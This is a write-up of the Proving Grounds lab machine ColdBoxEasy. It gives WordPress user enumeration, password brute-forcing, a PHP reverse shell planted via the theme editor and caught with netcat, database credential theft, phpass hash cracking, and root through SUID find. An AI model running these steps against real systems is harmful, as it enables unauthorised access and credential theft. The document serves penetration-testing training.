# ColdBoxEasy Writeup - Proving Grounds

> Exploit WordPress via user enumeration, brute-force creds, upload PHP reverse shell, then escalate privileges using a writable passwd file.

- **URL:** https://hackindex.io/writeups/coldboxeasy
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://portal.offsec.com/machine/coldboxeasy-207264/overview
- **Tags:** wordpress, privilege-escalation, suid, gtfobins, hash-cracking
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 3 min read
- **Published:** 2026-02-23
- **Updated:** 2026-09-11

## Discovery

### Port Scan

```bash
scan_tcp_full $TARGET_IP
# PORT     STATE SERVICE VERSION
# 80/tcp   open  http    Apache httpd 2.4.18
# |_http-generator: WordPress 4.1.31
# |_http-title: ColddBox | One more machine
# 4512/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
```

SSH is running on a non-standard port 4512. HTTP immediately discloses WordPress 4.1.31 in the generator meta tag.

### WordPress Enumeration

```bash
wpscan --url http://$TARGET_IP --enumerate --api-token $WPSCAN_TOKEN
```

Users identified:

- c0ldd
- hugo
- philip

```bash
nikto -host http://$TARGET_IP
```

Nikto surfaces a non-standard path:

```
/hidden/: This might be interesting.
```

Browsing to `http://$TARGET_IP/hidden/` reveals a message left by the admin:

```
U-R-G-E-N-T
C0ldd, you changed Hugo's password, when you can send it to him
so he can continue uploading his articles. Philip
```

This confirms `c0ldd` is the admin and recently changed credentials ,  making brute-force likely to succeed quickly.

## Initial Access

### WordPress Password Brute-Force → RCE via Theme Editor

Brute-force the WordPress login for all three enumerated users:

```bash
wpscan --url http://$TARGET_IP \
  -U c0ldd,hugo,philip \
  --passwords /usr/share/wordlists/rockyou.txt
# [SUCCESS] - c0ldd / $C0LDD_PASSWORD
#
```

Log in to `wp-admin` as `c0ldd`. Navigate to the theme editor and inject a PHP reverse shell into a theme template file:

```
Appearance → Theme Editor → Twenty Fifteen → single.php
```

Replace the file content with a PHP reverse shell (pentestmonkey's `php-reverse-shell.php`). Set `$ip` and `$port` to your listener, save the file, then trigger it by visiting any post:

```
http://$TARGET_IP/?p=1
```

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [192.168.234.239]
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Shell as `www-data`. Grab `local.txt` from `/home/c0ldd/`.

## Post-Exploitation

### wp-config.php ,  Database Credentials

```bash
cat /var/www/html/wp-config.php
# define('DB_NAME', 'colddbox');
# define('DB_USER', 'c0ldd');
# define('DB_PASSWORD', '$MYSQL_PASSWORD');
# define('DB_HOST', 'localhost');
```

Dump all WordPress password hashes via MySQL:

```bash
mysql -u c0ldd -p$MYSQL_PASSWORD colddbox \
  -e 'SELECT user_login,user_pass FROM wp_users;'
# c0ldd    $P$BJs9aAEh2WaBXC2zFhhoBrDUmN1g0i1
# hugo     $P$B2512D1ABvEkkcFZ5lLilbqYFT1plC/
# philip   $P$BXZ9bXCbA1JQuaCqOuuIiY4vyzjK/Y.
```

Crack with hashcat (mode 400 ,  PHPass):

```bash
hashcat hash.txt /usr/share/wordlists/rockyou.txt -m 400
# $P$BJs9aAEh2WaBXC2zFhhoBrDUmN1g0i1:$C0LDD_PASSWORD
# $P$B2512D1ABvEkkcFZ5lLilbqYFT1plC/:$HUGO_PASSWORD
```

The MySQL password for `c0ldd` is separate from the WordPress login password ,  both are useful but the privesc path is SUID-based.

## Privilege Escalation

### SUID find → Root Shell

Run linpeas or manually check SUID binaries:

```bash
find / -perm -4000 -type f 2>/dev/null
# -rwsr-xr-x 1 root root 217K Feb  8  2016 /usr/bin/find
```

`find` is SUID root. Per GTFOBins, this gives an immediate root shell:

```bash
find . -exec /bin/sh -p \; -quit
# whoami
# root
```

Grab `proof.txt` from `/root/`.

Related